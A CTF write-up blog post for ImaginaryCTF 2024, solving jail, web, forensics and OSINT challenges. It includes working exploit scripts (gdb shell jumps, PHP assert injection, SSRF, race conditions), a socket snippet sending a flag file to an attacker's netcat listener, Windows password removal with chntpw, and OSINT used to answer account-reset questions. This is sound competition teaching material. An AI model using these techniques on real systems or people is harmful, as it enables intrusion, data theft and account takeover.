Cavern.sigma
Welcome to Cavern.sigma
[TOC] # ImaginaryCTF 2024 WriteUp Solo played ImaginaryCTF as [t510599](https://2024.imaginaryctf.org/User/301.html), Rank #69/1457 (Score: 2901) <details class="ts accordion"> <summary><i class="dropdown icon"></i> Solved Challenges</summary> ![challenges](https://img.stoneapp.tech/t510599/imaginaryctf-2024/Challenges.png) </details> Official Challenge Archive: https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public --- ## Misc ### starship The challenge is a KNN model, which identifies if the target is friendly or enemy. To get the flag, one has to make the 2 incoming object be classified as friendly. There is a hidden option "42", which can add a new entry into dataset. We can see the target object's value, so just simply choose one object and tag it as friendly. Train several times and you can get flag. ``` > 4 target 1: 65,40,20,100,76,73,24,2,58 | result: enemy target 2: 33,31,54,80,41,110,27,-5,90 | result: enemy > 42 enter data: 65,40,20,100,76,73,24,2,58,friendly > 2 model trained! > 2 model trained! > 2 model trained! > 2 model trained! > 4 target 1: 65,40,20,100,76,73,24,2,58 | result: friendly target 2: 33,31,54,80,41,110,27,-5,90 | result: friendly flag: ictf{m1ssion_succ3ss_8fac91385b77b026} ``` ### gdbjail1 The challenge provides user an interactive gdb, which run `/bin/cat` and break on `read`. ```python gdb.execute("file /bin/cat") gdb.execute("break read") gdb.execute("run") ``` The challenge also implements a gdb python script, which allows only `break`, `set` and `continue` as command. ```python if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"): try: gdb.execute(command) except gdb.error as e: print(f"Error executing command '{command}': {e}") else: print("Only 'break', 'set', and 'continue' commands are allowed.") ``` With challenge provided Dockerfile, we can dump its libc: ``` $ md5sum /lib/x86_64-linux-gnu/libc.so.6 3ffd733fd1e00b1f8ef939de78b33509 /lib/x86_64-linux-gnu/libc.so.6 ``` And we can find its `one_gadget`: ``` 0xebc85 execve("/bin/sh", r10, rdx) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL || r10 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp ``` If we jump to `libc base + 0xebc85` with `r10 = NULL` and `rdx = NULL`, we can get shell. When we stuck at breakpoint, its `$RIP` points to `libc.symbol['read']`, so we can calculate the address of one_gadget. `set` can be used to set registers, so we override `$rip` as jump, and set corresponding registers Exploit: ``` # offset hex(libc.symbol['read'] - 0xebc85) = 0x28b4b set $rip=$rip-0x28b4b set $rdx=0 set $r10=0 continue continue cat *.txt ``` ### gdbjail2 Same as [gdbjail1](#gdbjail1), it runs `/bin/cat` and break at `read`, but it introduces blacklist: ``` blacklist = ["p", "-", "&", "(", ")", "[", "]", "{", "}", "0x"] ``` Therefore, we cannot override `$rip` to control the flow ("p"). I used `docker exec -it gdbjail /bin/bash` with patched `gdbinit.sh` to run gdb with same env as the challenge but without blacklist. When I played with the local container, it has shown that: ``` Starting program: /usr/bin/cat warning: Error disabling address space randomization: Operation not permitted warning: /proc is not accessible. warning: opening /proc/PID/mem file for lwp 68.68 failed: No such file or directory (2) Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x24e0 ``` Notice that `Error disabling address space randomization`, I realized that the address won't change accross the connection due to disabled ASLR ([default of gdb](https://visualgdb.com/gdbreference/commands/set_disable-randomization)) One can also verify that by connecting multiple times, and one will see `buf` in read argument is consistent address. ``` Breakpoint 1, __GI___libc_read (fd=0, buf=0x7ffff7d6b000, nbytes=131072) at ../sysdeps/unix/sysv/linux/read.c:25 ``` Now get libc base: ``` (gdb) info proc mappings process 20 Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x555555554000 0x555555556000 0x2000 0x0 r--p /usr/bin/cat 0x555555556000 0x55555555a000 0x4000 0x2000 r-xp /usr/bin/cat 0x55555555a000 0x55555555c000 0x2000 0x6000 r--p /usr/bin/cat 0x55555555c000 0x55555555d000 0x1000 0x7000 r--p /usr/bin/cat 0x55555555d000 0x55555555e000 0x1000 0x8000 rw-p /usr/bin/cat 0x55555555e000 0x55555557f000 0x21000 0x0 rw-p [heap] 0x7ffff7d6a000 0x7ffff7d8f000 0x25000 0x0 rw-p 0x7ffff7d8f000 0x7ffff7db7000 0x28000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7db7000 0x7ffff7f4c000 0x195000 0x28000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f4c000 0x7ffff7fa4000 0x58000 0x1bd000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7fa4000 0x7ffff7fa5000 0x1000 0x215000 ---p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7fa5000 0x7ffff7fa9000 0x4000 0x215000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7fa9000 0x7ffff7fab000 0x2000 0x219000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6 ``` Next, in read's assembly code, `ret` is at the end of the function. In addition, there is no other stack operation in read function. ``` (gdb) disassemble Dump of assembler code for function __GI___libc_read: => 0x00007ffff7ea37d0 <+0>: endbr64 0x00007ffff7ea37d4 <+4>: mov %fs:0x18,%eax 0x00007ffff7ea37dc <+12>: test %eax,%eax 0x00007ffff7ea37de <+14>: jne 0x7ffff7ea37f0 <__GI___libc_read+32> 0x00007ffff7ea37e0 <+16>: syscall 0x00007ffff7ea37e2 <+18>: cmp $0xfffffffffffff000,%rax 0x00007ffff7ea37e8 <+24>: ja 0x7ffff7ea3840 <__GI___libc_read+112> 0x00007ffff7ea37ea <+26>: ret ``` By overriding value at the stack top (`$rsp`), when it runs to `ret` instruction, it would jump to `*$rsp` ``` (gdb) x/gx $rsp 0x7fffffffeaf8: 0x0000555555557ba6 ``` We can jump to one_gadget now. `set` can be not only used to set register, but also write memory. In addition, only `0x` is banned, only need to use decimal memory addresses. `set` write memory as int (4 bytes), so I write `$rsp` with lower address and `$rsp+4` with higher address of one_gadget. Exploit: ``` # base (fixed) + one_gadget # write to rsp set *140737488349944=140737352543365 set *140737488349948=32767 set $rdx=0 set $r10=0 # continue until $rsp continue continue cat *.txt ``` ### ok-nice ```python #!/usr/bin/env python3 flag = open('flag.txt').read() print("Welcome to the jail! It is so secure I even have a flag variable!") blacklist=['0','1','2','3','4','5','6','7','8','9','_','.','=','>','<','{','}','class','global','var','local','import','exec','eval','t','set','blacklist'] while True: inp = input("Enter input: ") for i in blacklist: if i in inp: print("ok nice") exit(0) for i in inp: if (ord(i) > 125) or (ord(i) < 40) or (len(set(inp))>17): print("ok nice") exit(0) try: eval(inp,{'__builtins__':None,'ord':ord,'flag':flag}) print("ok nice") except: print("error") ``` pyjail with ord and flag in globals, and blacklist banned integers and several operators Input allows only some ASCII chars (so no fullwidth tricks), and also limit the length of used charset If the exception occurs, it would show `error` Observe the blacklist, although comparators are banned, `+`, `-`, `/` can still be used. What's more, the division may raise `ZeroDivisionError`, we can make use of it to leak flag. With bool values, integers can be composed by adding them together. Try to calculate a fraction with `True` (1) as numerator and `ord(flag[idx])-(ord(guess))` as denominator. If error occurs, then the `guess` is correct. So the template becomes `True/(ord(flag[{}])-({}))`, and used charset is `{'a', '(', 'o', ']', 'r', 'u', '[', '-', '+', ')', '/', 'g', 'l', 'e', 'T', 'd', 'f'}` (length 17) ```python import string from pwn import * import concurrent.futures def gen_number(n): if n == 0: return "True-True" else: return "+".join(["True"] * n) host, port = "ok-nice.chal.imaginaryctf.org", 1337 def brute(i): # disable pwn tools connection message context.log_level = "critical" r = remote(host, port) charset = "\n" + string.ascii_letters + string.digits + "{}_" for c in charset: r.recvuntil(b"Enter input: ") r.sendline(template.format(gen_number(i), gen_number(ord(c))).encode()) resp = r.recvline().decode() if "error" in resp: if c == "\n": return return i, c template = "True/(ord(flag[{}])-({}))" result = [] with concurrent.futures.ThreadPoolExecutor() as executor: futures = [] for i in range(40): future = executor.submit(brute, i) futures.append(future) for f in concurrent.futures.as_completed(futures): if res := f.result(): print(res[0]) result.append(res) result.sort(key=lambda x: x[0]) flag = "".join([x[1] for x in result]) print(flag) ``` ### Locked Open the provided disk image directly, when I navigated to Desktop, I saw user's wallpaper: By the file name on the Desktop, I realized that the flag is the arrangement of files, and their filename composed the flag. Mount the disk into linux VM, and use `chntpw` to remove user's password. ``` cd /mnt/os/Windows/System32/config sudo chntpw -u admin SAM ``` ``` > 2 (Unlock and enable user account) ``` Then boot into Windows without password! ![desktop](https://img.stoneapp.tech/t510599/imaginaryctf-2024/misc/Locked/solve.png) ## Web ### readme The flag is contained in Dockerfile. ### readme2 By fuzzing the url, I found that `//` as path make the server threw an error. (*Explaination: [maple's writeup](https://github.com/maple3142/My-CTF-Challenges/tree/master/ImaginaryCTF%202024/readme2#unintended-solution-sob)*) (*Additional Reference: [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#section-5.2)*) By digging deeper, I found that `Host` header is directly filled into `req.url`: [src/bun.js/webcore/request.zig#L387-L391](https://github.com/oven-sh/bun/blob/c5c55c7ce4ed3356ea0195f969205c0379f2d91e/src/bun.js/webcore/request.zig#L387-L391) Which means that I can use `//` in `Host` for SSRF. In addition, `fetch` follow redirect by default, thus we can make use of this behavior to redirect to flag path. Payload: ``` Host: localhost//<my server> ``` Write a simple web server for redirection: ```python import http.server class RequestHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'localhost:3000/../../flag.txt') self.end_headers() self.wfile.write(b'ok') @staticmethod def run(): httpd = http.server.HTTPServer(('0.0.0.0', 8000), RequestHandler) httpd.serve_forever() if __name__ == '__main__': RequestHandler.run() ``` ![curl](https://img.stoneapp.tech/t510599/imaginaryctf-2024/web/readme2/curl.png) ### The Amazing Race The challenge is a maze where the goal is always surrounded by the wall. In the route handler, the move check and moving is seperated operation, and database is committed after every operation. ```python canMove = getCanMove(mazeId) validMoves = ["up", "down", "left", "right"] moveIdx = None if moveStr in validMoves: moveIdx = validMoves.index(moveStr) validMovesDict = {"up": (-1, 0), "down": (1, 0), "left": (0, -1), "right": (0, 1)} move = validMovesDict.get(moveStr, None) if not move or moveIdx is None or not canMove[moveIdx]: return redirect(f"/{mazeId}") currentLoc = getLoc(mazeId) newLoc = [bound(currentLoc[0] + move[0]), bound(currentLoc[1] + move[1])] writeLoc(mazeId, newLoc) mazeStr = getMaze(mazeId) maze = [[c for c in row] for row in mazeStr.splitlines()] maze[currentLoc[0]][currentLoc[1]] = '.' maze[newLoc[0]][newLoc[1]] = '@' writeMaze(mazeId, '\n'.join(''.join(row) for row in maze)) newCanMove = [] for dr, dc in [(-1, 0), (1, 0), (0, -1), (0, 1)]: checkLoc = [newLoc[0] + dr, newLoc[1] + dc] newCanMove.append( inn(checkLoc[0]) and inn(checkLoc[1]) and maze[checkLoc[0]][checkLoc[1]] != '#' ) writeCanMove(mazeId, newCanMove) ``` Therefore, one may even bypass wall before the available move is written to database. In addition, at the game start, player can always move down/right. Simply race the server to bypass the wall. ```python import re import requests as r from concurrent.futures import ThreadPoolExecutor url = "http://the-amazing-race.chal.imaginaryctf.org/" res = r.get(url) maze_id = res.url.split("/")[-1] def move(direction): res = r.post(url + "move", params={"id": maze_id, "move": direction}) if "ictf" in res.text: print(re.findall(r"ictf\{.*\}", res.text)[0]) print(maze_id) # race # after move to the rightmost edge, move to the bottom with ThreadPoolExecutor(100) as executor: for _ in range(100): executor.submit(move, "down") executor.submit(move, "down") executor.submit(move, "up") executor.submit(move, "down") executor.submit(move, "up") executor.submit(move, "down") executor.shutdown(wait=True) ``` ![race](https://img.stoneapp.tech/t510599/imaginaryctf-2024/web/The%20Amazing%20Race/race.png) You can see that there are several `@` in the map. ### journal Code injection for assertion: ``` if (isset($_GET['file'])) { $file = $_GET['file']; $filepath = './files/' . $file; assert("strpos('$file', '..') === false") or die("Invalid file!"); if (file_exists($filepath)) { include($filepath); } else { echo 'File not found!'; } } ``` We can manipulate the rule to check if assertion fails. 1\. leak filename `implode` the `scandir('/')` return value and make use of `strpos` to leak flag char by char 2\. leak file length `strlen(file_get_contents('<fn>')) == <len>` 3\. leak file content `substr(file_get_contents('<fn>'), <idx>, 1) === '<char>'` Exploit: ```python from string import ascii_lowercase, ascii_uppercase, digits import concurrent.futures import re import requests as r site = "http://journal.chal.imaginaryctf.org" def fetch(url): response = r.get(url) # print(url, response.text) return "Warning" not in response.text def get_name(known, char): payload = "'.implode(' ', scandir('/')), 'flag-{}') %26%26 strpos('1" url = site + "/?file=" + payload.format(known + char) if fetch(url): return char fn = "cARdaInFg6dD10uWQQgm" while len(fn) < 20: with concurrent.futures.ThreadPoolExecutor() as executor: futures = [] for char in ascii_lowercase + ascii_uppercase + digits: futures.append(executor.submit(get_name, fn, char)) for result in concurrent.futures.as_completed(futures): if char := result.result(): fn += char print(fn) break executor.shutdown(wait=True) print(fn) def get_len(l): payload = "', 'c8763') === false %26%26 strlen(file_get_contents('{}')) == {} %26%26 strpos('1" url = site + "/?file=" + payload.format(f"/flag-{fn}.txt", l) if fetch(url): return l for l in range(40, 100): if get_len(l): print(l) break def get_content(i, c): payload = "', 'c8763') === false %26%26 substr(file_get_contents('{}'), {}, 1) === '{}' %26%26 strpos('1" url = site + "/?file=" + payload.format(f"/flag-{fn}.txt", i, c) if fetch(url): return c flag = "ictf{" # flag = "ictf{assertion_failed_e3106922feb13b10}" while len(flag) < l and re.match("ictf{.*}", flag) is None: with concurrent.futures.ThreadPoolExecutor() as executor: futures = [] for char in ascii_lowercase + ascii_uppercase + digits + "}_": futures.append(executor.submit(get_content, len(flag), char)) for result in concurrent.futures.as_completed(futures): if char := result.result(): flag += char print(flag) break executor.shutdown(wait=True) ``` Reference: https://www.linkedin.com/pulse/php-assert-vulnerable-local-file-inclusion-mohamed-fakroud/ ### P2C Free RCE but no direct response from HTTP. Write a socket code to send flag back: ```python import socket import subprocess sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("<ip>", 40005)) msg = subprocess.check_output("cat flag.txt", shell=True) sock.send(msg) ``` Server: `nc -nvlp 40005` ### crystals Flag is set to be container hostname. To get the flag, just make underlying WEBrick raise error. `curl "http://crystals.chal.imaginaryctf.org/<"` ![error](https://img.stoneapp.tech/t510599/imaginaryctf-2024/web/crystals/error.png) ## Forensics ### bom `xxd` shows bytes after `BOM`, which is simple ASCII ### packed Open the provided Cisco Packet Tracer archive with 7-zip, flag is in the image (`secret.png`) that in the root of compressed archive. ![flag](https://img.stoneapp.tech/t510599/imaginaryctf-2024/forensics/packed/error.png) ### routed Open the cli of the Router1, run `enable` and `sh ru`, Shows the following config: ``` ! line vty 0 4 password 7 020F074F0D1D0728484A0C173A191D1F330C2B382C2D3728 login line vty 5 15 password 7 020F074F0D1D0728484A0C173A191D1F330C2B382C2D3728 login ! ``` password type 7 is actually encoding the password only, so it can be reversed. Plaintext is the flag. ### cartesian[1-3] By google `Terrence Descartes`, I found this GitHub account: [descartes1337](https://github.com/descartes1337). And there is a link to his instagram profile: [descartes.terry2001](https://www.instagram.com/descartes.terry2001/) and a repo called [birthday-card](https://github.com/descartes1337/birthday-card). Clone the repo and check `git log`, I got his email: `terrencedescartes@gmail.com`. #### flag 1 Flag 1 is in his [instagram stories](https://www.instagram.com/stories/highlights/18437746888049094/) #### flag 2 Dig more deeper, I found his [linkedin account](https://www.linkedin.com/in/terrence-descartes-54642831a). In one of his linkedin posts ([link](https://www.linkedin.com/posts/terrence-descartes-54642831a_netneutrality-freespeech-activity-7220221551969759232-nIPU)), there is a screenshot of deleted Google Map review, which contains the first half of flag 2. Search by [ghunt](https://github.com/mxrch/GHunt) with his Google account, I dumped his [public calendar](https://calendar.google.com/calendar/ical/terrencedescartes@gmail.com/public/basic.ics), the second half of flag 2 is in an event called `SUMMER TRIP!!!!`. ![ghunt](https://img.stoneapp.tech/t510599/imaginaryctf-2024/forensics/cartesian/ghunt.png) #### flag 3 To get flag 3, one has to answer several password reset questions: - What is your email? `terrencedescartes@gmail.com` - from git log - On what day were you born? (YYYY-MM-DD) `2001-01-18` - [IG post](https://www.instagram.com/p/C9lkBOjxQCW/) at 2024/7/19 - mentioned that he is borned in Jan, 2001 - "half birthday vibes" - What is the name of your favorite pet? `Bonnie` - [IG post](https://www.instagram.com/p/C9llEYxxl5x/) - A picture of dog and mentioned that "ilysm bonnie" - What city have you primarily lived in for the past three months? `San Diego` - Linkedin profile says that he is studying in **UC San Diego** - [IG post](https://www.instagram.com/p/C9lmMxHRRrU/?img_index=1) mentioned that "finally free from my last summer classes!" - In what city did you grow up? `Phoenix` - [IG post](https://www.instagram.com/p/C9lmMxHRRrU/?img_index=1): (San Diego) "only 300 miles till I get home" - GitHub profile: "1114 miles from Seattle" - Calculate intersections, its on about `Nevada`, `Arizona`, and `California` three states - Bruteforce with [City list](https://www.britannica.com/topic/list-of-cities-and-towns-in-the-United-States-2023068) - What is the name of your favorite poet? `Robert Frost` - He is following several accounts about Robert Frost - https://www.instagram.com/descartes.terry2001/following/ - What was the make and model of your first car? `Honda Civic` - [IG post](https://www.instagram.com/p/C9lmMxHRRrU/?img_index=1) - In what year was your father born? `1981` - [Git commit](https://github.com/descartes1337/birthday-card/commit/e6f565a35fd10136647336780731a4d19aabfac7) says 43 years old - 2024 - 43 = 1981 - What is your mother's maiden name? `Jackson` - [Linkedin post](https://www.linkedin.com/feed/update/urn:li:activity:7219899411361882112/) for Amelia **Jackson** Descartes - At what company do you work at? `Cohort Calculations` - Linkedin profile - In what city did you go on vacation last summer? `Saint Paul` - [Linkedin post](https://www.linkedin.com/feed/update/urn:li:activity:7220221551969759232/) has a screenshot of Como Park Zoo & Conservatory, which locates at Saint Paul - What are you supposed to do on August 21? `Drop off top secret information` - The dumped google calendar - Who was your boss in your first job? `Farmer Johnson` - Linkedin work experience - Goose FarmerGoose Farmer at **Farmer Johnson**'s Goose Company ### crash The challenge provides a memory image. List processes with volatility3: `python vol.py -f ..\dump.vmem windows.pslist` See that there is a `notepad.exe` process whose pid is `2216`. Dump process memory: `python vol.py -f ..\dump.vmem windows.memmap --pid 2216 --dump` `strings pid.2216.dump` saw a base64-like text: `aWN0ZnthYTBlYjcwN2E0MWIyY2E2fQ==` Decode it as base64 to get the flag. ### playful-puppy The challenge provides a world save of minecraft. In addition, there is a image of a black dog with blue collar. And mentioned that is flag is the name of the dog. ![puppy](https://img.stoneapp.tech/t510599/imaginaryctf-2024/forensics/playful-puppy/image.png) Refer to [Wolf – Minecraft Wiki](https://minecraft.wiki/w/Wolf), the black dog is `minecraft:black` variant, and CollarType is `11` for blue collar. I used [mcworldlib](https://github.com/MestreLion/mcworldlib) for minecraft world parsing. Filter all `minecraft:wolf` entities with `variant == minecraft:black` and `CollarType == 11`: ``` import mcworldlib as mc world = mc.load("./world/level.dat") result = [] for region in world.entities[mc.OVERWORLD].values(): for chunk in region.values(): for entity in chunk.entities: if entity['id'] == "minecraft:wolf": if entity['variant'] == "minecraft:black": if entity['CollarColor'].as_unsigned == 11: print(entity['CustomName']) ``` ## Crypto ### base64 Convert flag from base 10 into base 64. Recover it with naive math. ## Reversing ### unoriginal IDA F5 -> Just XOR with `0x5`. Recover XORed flag with python.
2024-07-22 05:52:17
留言
Last fetch: --:-- 
現在還沒有留言!